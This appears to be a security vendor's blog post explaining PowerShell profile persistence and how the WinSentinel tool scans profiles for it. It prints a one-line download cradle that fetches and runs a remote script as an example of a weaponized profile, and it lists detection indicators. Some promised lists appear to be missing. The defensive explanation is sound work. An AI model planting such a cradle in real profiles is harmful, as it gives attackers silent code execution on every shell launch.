← All posts

PowerShell Profile Persistence: The Startup Script Attackers Love

How profile.ps1 becomes a stealthy backdoor, and what WinSentinel flags when it scans yours.

Every time you open a PowerShell window, PowerShell quietly runs a handful of script files first — your profiles. They exist so you can set aliases, tweak your prompt, and load modules automatically. They also happen to be one of the cleanest persistence mechanisms on Windows: a line an attacker drops into a profile runs, silently, on every single shell launch, with the privileges of whoever opened it. MITRE tracks this as T1546.013 — Event Triggered Execution: PowerShell Profile.

Where the profiles live

There are four profile scopes, and they exist twice — once for Windows PowerShell 5.x and once for PowerShell 7+ (pwsh). The two that matter most for defenders are:

You can see the four paths for your current host at any time:

$PROFILE | Select-Object *

Most machines have no profile files at all, which is exactly why a newly-appeared one is worth a second look.

What a weaponized profile looks like

The trick with profile persistence is that the payload usually isn't in the profile — the profile just fetches and runs it. A one-line download cradle is the classic:

# profile.ps1 — one line is all it takes
IEX (New-Object Net.WebClient).DownloadString('http://198.51.100.7/a.ps1')

But a profile can also do the persistence itself, without ever touching the network again after the first run. A few patterns we see repeatedly:

The nastiest part: a profile that only configures other persistence looks almost benign in isolation. There's no beaconing to catch, no dropped binary in a temp folder — just a text file that happens to run at every prompt.

Why this slips past people

Profiles are a legitimate feature, so they don't set off most tooling. They're plain text in a user-writable location, so no elevation is needed to plant one in a CurrentUser scope. And because admins expect profiles to contain automation, a hostile line blends into the noise of prompt tweaks and module imports. The detection problem isn't "is there a profile?" — it's "does this profile do something a login script has no business doing?"

How WinSentinel audits your profiles

WinSentinel's PowerShell Security module reads every profile that exists on the machine — all four scopes, for both Windows PowerShell and PowerShell 7 — and scans the contents against a library of high-signal indicators: download cradles, base64-encoded commands, in-memory .NET loading, AMSI and Defender tampering, credential-dumping tooling, and — as of this week's build — service-install and Run-key persistence and interactive remote-session lateral movement. Each match is reported with a plain-English reason and the MITRE technique it maps to.

Two grading rules keep it honest:

Run it locally — no account, no fleet, no upload:

dotnet tool install --global WinSentinel.Cli
winsentinel --audit --category PowerShell

All of this is in the free, single-machine tier. Point it at your own box, read the profile findings, and decide whether that clever prompt tweak you inherited three jobs ago is actually a clever prompt tweak.

Cleaning up

If you find a profile you can't account for, don't just delete it — capture it first (it's evidence), then check the three places it may have already seeded: scheduled tasks, the Run/RunOnce keys, and installed services. Profile persistence is rarely the whole story; it's usually the loader for something quieter.

← Back to all posts · Browse every audit module →